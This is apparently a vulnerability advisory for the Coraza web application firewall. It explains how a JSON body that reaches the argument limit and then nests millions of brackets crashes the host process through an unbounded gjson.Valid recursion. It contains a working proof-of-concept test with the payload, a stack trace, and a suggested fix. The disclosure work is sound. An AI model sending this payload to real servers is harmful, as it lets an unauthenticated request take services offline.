Summary

The JSON body processor (internal/bodyprocessors/json.go) can be made to
crash the whole process with an unrecoverable fatal error: stack overflow,
using a request body that is well under the recommended SecRequestBodyLimit
and the default SecArgumentsLimit.

Root cause

readJSON (json.go:113-143) runs a bounded, best-effort flattening walk
(readItems) and afterwards calls gjson.Valid(s) on the raw body if
readItems returned no error:

json := gjson.Parse(s)
...
truncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, &usedBytes, &argCount, res)
if err != nil {
    return res, truncated, err
}
if !gjson.Valid(s) {
    return res, truncated, errors.New("invalid JSON")
}

gjson.Valid (gjson v1.18.0, validany -> validarray/validobject) recurses
once per nesting level with no depth bound. readItems does have a depth
bound (maxRecursion), enforced here (json.go:163-182):

func readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) {
    if byteBudget > 0 && *usedBytes >= byteBudget {
        return true, nil                 // <-- checked first
    }
    if argumentLimit > 0 && *argCount >= argumentLimit {
        return true, nil                 // <-- checked second
    }
    ...
    if maxRecursion <= 0 {
        return false, errors.New("max recursion reached while reading json object")
    }

The byte-budget and argument-limit checks run before the recursion-depth
check, and they short-circuit the walk with truncated=true, err=nil instead
of recursing further. If the configured SecArgumentsLimit
(ArgumentLimit, default 1000, internal/corazawaf/waf.go:359) is reached by
earlier, shallow values in the document, readItems stops walking before it
ever reaches a deeply nested tail later in the same document — so the
maxRecursion error is never produced, err comes back nil, and readJSON
falls through to the unconditional gjson.Valid(s) call on the complete raw
body, including the part readItems never visited.

This is not a new interaction with the recursion limit itself: at v3.7.0,
gjson.Valid ran unconditionally before any recursion check at all, so a
plain deeply-nested body crashed the process directly. A later fix added a
depth check that returns an error before Valid runs for the straightforward
case (nesting reached before any other guard fires). The argument-limit /
byte-budget guards added since then (GHSA-6r3q-mjv7-xr8m,
GHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they
short-circuit the walk (and therefore the recursion counter) ahead of the
depth check, on both the request and response body path (ProcessResponse
calls the same readJSON, json.go:57-88).

Because this is fatal error: stack overflow, not a panic, it is not
recoverable by any recover() in the calling goroutine — the process
terminates unconditionally.

PoC

package bodyprocessors

import (
    "strings"
    "testing"
)

func TestStackOverflowRepro(t *testing.T) {
    body := "[" + strings.Repeat("1,", 1000) + strings.Repeat("[", 13_000_000)
    // 13,002,001 bytes total: under the recommended SecRequestBodyLimit
    // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,
    // internal/corazawaf/waf.go:359).
    _, _, _ = readJSON(body, 20, 1000)
}

$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/tidwall/gjson.validarray(...)
	.../gjson@v1.18.0/gjson.go:2584
github.com/tidwall/gjson.validany(...)
	.../gjson@v1.18.0/gjson.go:2499
github.com/tidwall/gjson.validarray(...)
	.../gjson@v1.18.0/gjson.go:2589
... (repeats until the goroutine stack limit is hit)

Reproduced against commit 19b86824 (tag v3.8.0), both by calling
readJSON directly and end-to-end through the recommended
coraza.conf-recommended configuration (JSON Content-Type, default
SecArgumentsLimit, recommended SecRequestBodyLimit).

Impact

An unauthenticated attacker who can send an HTTP request body (any endpoint
protected by Coraza with the JSON body processor enabled, which is the
default for application/json) can crash the entire host process with a
single request, using a payload well within default and recommended body
size and argument-count limits. There is no privilege or interaction
requirement, and the crash cannot be caught or mitigated by the integrator
(no recover() stops a stack-overflow fatal error). This is strictly worse
than a CPU-exhaustion or slow-request DoS: the process must be restarted, and
every in-flight request/transaction on that process is lost.

Suggested fix

Run an iterative, explicitly-bounded-depth pre-scan (or reuse readItems's
own recursion accounting) before calling gjson.Valid, and never call
gjson.Valid on input whose nesting exceeds maxRecursion. The response
path (ProcessResponse) needs the same treatment since it shares readJSON.

AI involvement disclosure

• AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code.
• What was generated/assisted: the initial vulnerability hypothesis and
  repro shape were supplied by the reporter as an existing written finding;
  Claude Sonnet 5 independently re-derived the root cause by reading the
  current source, wrote and ran a fresh PoC test against commit 19b86824
  (tag v3.8.0), confirmed the crash and stack trace shown above, verified
  the default configuration values cited (ArgumentLimit default,
  SecRequestBodyLimit recommended value) against the current source, and
  drafted this advisory text.
• Review performed: reproduced by hand by running the PoC test above with
  go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v against
  a clean checkout of commit 19b86824; observed the fatal error: stack overflow and stack trace through gjson.validarray/validany; traced
  readJSON/readItems line by line to confirm the guard ordering described
  above; the PoC was reviewed by a human maintainer (fzipi) before
  submission of this advisory.